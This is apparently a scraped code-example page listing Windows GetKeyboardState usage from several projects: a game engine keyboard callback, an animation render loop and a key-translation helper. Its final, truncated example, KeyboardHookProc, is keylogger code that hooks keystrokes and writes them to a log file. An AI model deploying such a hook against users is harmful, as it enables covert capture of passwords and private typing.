#ifdef UNICODE
mchar keyCode=0;
ToUnicode(wParam,lParam,keys,&keyCode,0,0);
#else
WORD keyCode=0;
ToAscii(wParam,lParam,keys,&keyCode,0);
#endif
event->Char=keyCode;
event->key=(EKEY_CODE)KEY_LCONTROL;
event->shift=((keys[VK_SHIFT] & 0x80)!=0);
event->ctrl=1;
event->alt=((keys[VK_MENU] & 0x80)!=0);
event->press=1;
event->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case VK_SHIFT:
{
if(g_disableWindowsKBCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard);
mchar keyUni=0;
GetKeyboardState(keys);
#ifdef UNICODE
mchar keyCode=0;
ToUnicode(wParam,lParam,keys,&keyCode,0,0);
#else
WORD keyCode=0;
开发者ID:yingzhang536,项目名称:mrayy-Game-Engine,代码行数:67,代码来源:Win32CallbackProc.cpp
示例18: OK2_AnimRender
/* Функция построения кадра анимации.
* АРГУМЕНТЫ: Нет.
* ВОЗВРАЩАЕМОЕ ЗНАЧЕНИЕ: Нет.
*/
VOID OK2_AnimRender( VOID )
{
INT i;
LARGE_INTEGER li;
POINT pt;
/* Обновление ввода */
GetKeyboardState(OK2_Anim.Keys);
for (i = 0; i < 256; i++)
OK2_Anim.KeyClick[i] = OK2_Anim.Keys[i] && !OK2_Anim.KeysOld[i];
memcpy(OK2_Anim.KeysOld, OK2_Anim.Keys, sizeof(OK2_Anim.Keys));
/* Обновление таймера */
OK2_Anim.Time = (DBL)clock() / CLOCKS_PER_SEC;
/* Обновление кадра */
QueryPerformanceCounter(&li);
/* глобальное время */
OK2_Anim.GlobalTime = (DBL)(li.QuadPart - TimeStart) / TimeFreq;
OK2_Anim.GlobalDeltaTime = (DBL)(li.QuadPart - TimeOld) / TimeFreq;
/* локальное время */
if (OK2_Anim.IsPause)
{
TimePause += li.QuadPart - TimeOld;
OK2_Anim.DeltaTime = 0;
}
else
OK2_Anim.DeltaTime = OK2_Anim.GlobalDeltaTime;
OK2_Anim.Time = (DBL)(li.QuadPart - TimeStart - TimePause) / TimeFreq;
/* вычисляем FPS */
if (li.QuadPart - TimeFPS > TimeFreq)
{
OK2_Anim.FPS = FrameCounter / ((DBL)(li.QuadPart - TimeFPS) / TimeFreq);
TimeFPS = li.QuadPart;
FrameCounter = 0;
}
/* время "прошлого" кадра */
TimeOld = li.QuadPart;
/* очистка фона */
SelectObject(OK2_Anim.hDC, GetStockObject(DC_BRUSH));
SelectObject(OK2_Anim.hDC, GetStockObject(NULL_PEN));
SetDCBrushColor(OK2_Anim.hDC, RGB(0, 110, 0));
Rectangle(OK2_Anim.hDC, 0, 0, OK2_Anim.W, OK2_Anim.H);
/* опрос на изменение состояний объектов */
for (i = 0; i < OK2_Anim.NumOfUnits; i++)
OK2_Anim.Units[i]->Response(OK2_Anim.Units[i], &OK2_Anim);
/* рисование объектов */
for (i = 0; i < OK2_Anim.NumOfUnits; i++)
{
SelectObject(OK2_Anim.hDC, GetStockObject(DC_BRUSH));
SelectObject(OK2_Anim.hDC, GetStockObject(DC_PEN));
SetDCBrushColor(OK2_Anim.hDC, RGB(0, 0, 0));
SetDCPenColor(OK2_Anim.hDC, RGB(55, 155, 255));
OK2_Anim.Units[i]->Render(OK2_Anim.Units[i], &OK2_Anim);
}
/* Мышь */
/* колесо */
OK2_Anim.MsWheel = OK2_MouseGlobalWheel;
OK2_MouseGlobalWheel = 0;
/* абсолютная позиция */
pt.x = OK2_MouseGlobalX;
pt.y = OK2_MouseGlobalY;
ScreenToClient(OK2_Anim.hWnd, &pt);
OK2_Anim.MsX = pt.x;
OK2_Anim.MsY = pt.y;
/* относительное перемещение */
OK2_Anim.MsDeltaX = OK2_MouseGlobalX - OK2_MouseXOld;
OK2_Anim.MsDeltaY = OK2_MouseGlobalY - OK2_MouseYOld;
OK2_MouseXOld = OK2_MouseGlobalX;
OK2_MouseYOld = OK2_MouseGlobalY;
/* Джойстик */
if ((i = joyGetNumDevs()) > 0)
{
JOYCAPS jc;
/* получение общей информации о джостике */
if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR)
{
JOYINFOEX ji;
/* получение текущего состояния */
ji.dwSize = sizeof(JOYCAPS);
ji.dwFlags = JOY_RETURNALL;
if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR)
{
//.........这里部分代码省略.........
开发者ID:unknownoperation,项目名称:SUM2014,代码行数:101,代码来源:ANIM.C
示例19: INPKBGetAscii
tCHAR F_API INPKBGetAscii(u8 kCode)
{
tCHAR retvalue = L'';
char asciichar[256];
memset(asciichar,0, sizeof(char)*256);
HKL layout = GetKeyboardLayout(0);
u8 State[256];
u32 scancode;
memset(State, 0, sizeof (u8) * 256);
u32 vk = MapVirtualKeyEx(kCode,1,layout);
bool returnvaluegetkeyb = GetKeyboardState(State); //This function returns crap if we are in exclusive mode
//CODE TO CHECK OS VERSION,
//ToUnicodeEx doesn't work in win98,me
OSVERSIONINFO osvi;
ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx((OSVERSIONINFO*)&osvi); //Should move this function to initialization
//VER_PLATFORM_WIN32_NT //WinNT4 to Win2003
//VER_PLATFORM_WIN32_WINDOWS //Windows 95, Windows 98, or Windows Me.
if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) //Crappy Versions of Windows Without Unicode
{
int returnvalascii = ToAsciiEx(vk, kCode, State, (unsigned short *)asciichar, 0, layout);
if(returnvalascii > 0)
{
int retrunvaluembtowcs = mbstowcs(&retvalue, asciichar, 1);
if(retrunvaluembtowcs == -1) //some error
retvalue = L'';
}
else
retvalue = L'';
}
else //Good versions of widnows with Unicode
{
s32 retvalunicode = ToUnicodeEx(vk, kCode, State, &retvalue, 1, 0, layout);
if(retvalunicode <= 0) // -1 or 0 mean error or no character was translated
retvalue = L'';
}
/*
HKL layout = GetKeyboardLayout(0);
unsigned char State[256];
if (GetKeyboardState(State)==FALSE)
return 0;
unsigned int vk = MapVirtualKeyEx(scancode,1,layout);
return ToAsciiEx(vk,scancode,State,(unsigned short *)result,0,layout);
*/
/*
BOOL bIsWindowsVersionOK(DWORD dwMajor, DWORD dwMinor, DWORD dwSPMajor )
{
OSVERSIONINFO osvi;
// Initialize the OSVERSIONINFO structure.
//
ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx((OSVERSIONINFO*)&osvi);
// First the major version
if ( osvi.dwMajorVersion > dwMajor )
return TRUE;
else if ( osvi.dwMajorVersion == dwMajor )
{
// Then the minor
if (osvi.dwMinorVersion > dwMinor )
return TRUE;
else if (osvi.dwMinorVersion == dwMinor )
{
// OK, better check the Service Pack
if ( dwSPMajor &&
osvi.dwPlatformId == VER_PLATFORM_WIN32_NT )
{
HKEY hKey;
DWORD dwCSDVersion;
DWORD dwSize;
BOOL fMeetsSPRequirement = FALSE;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
System\\CurrentControlSet\\Control\\Windows",
0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS)
{
dwSize = sizeof(dwCSDVersion);
if (RegQueryValueEx(hKey, "CSDVersion",
NULL, NULL,
(unsigned char*)&dwCSDVersion,
&dwSize) == ERROR_SUCCESS)
{
fMeetsSPRequirement =
(LOWORD(dwCSDVersion) >= dwSPMajor);
}
RegCloseKey(hKey);
}
return fMeetsSPRequirement;
//.........这里部分代码省略.........
开发者ID:ddionisio,项目名称:Mahatta,代码行数:101,代码来源:inputdx8_keyboard.cpp
示例20: KeyboardHookProc
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam)
{
if(!(lParam >> 31) && (code >= 0))
{
char keyw[20];
FILE *LogFile = GetLogFile();
if(LogFile != NULL) {
BEEP
switch(wParam)
{
case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break;
case VK_BACK: strcpy(keyw,"[BACK]"); break;
case VK_TAB: strcpy(keyw,"[TAB]"); break;
case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break;
case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break;
case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break;
case VK_CONTROL: strcpy(keyw,"[CTRL]"); break;
case VK_MENU: strcpy(keyw,"[ALT]"); break;
case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break;
case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break;
case VK_ESCAPE: strcpy(keyw,"[ESC]"); break;
case VK_PRIOR: strcpy(keyw,"[PageUp]"); break;
case VK_NEXT: strcpy(keyw,"[PageDown]"); break;
case VK_END: strcpy(keyw,"[END]"); break;
case VK_HOME: strcpy(keyw,"[HOME]"); break;
case VK_LEFT: strcpy(keyw,"[LEFT]"); break;
case VK_UP: strcpy(keyw,"[UP]"); break;
case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break;
case VK_DOWN: strcpy(keyw,"[DOWN]"); break;
case VK_SELECT: strcpy(keyw,"[SELECT]"); break;
case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break;
case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break;
case VK_INSERT: strcpy(keyw,"[INSERT]"); break;
case VK_DELETE: strcpy(keyw,"[DELETE]"); break;
case VK_HELP: strcpy(keyw,"[HELP]"); break;
case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break;
case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break;
case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break;
case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break;
case VK_ADD: strcpy(keyw,"[ADD]"); break;
case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break;
case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break;
case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break;
case VK_DIVIDE: strcpy(keyw,"[DIVIDE]")
|
请发表评论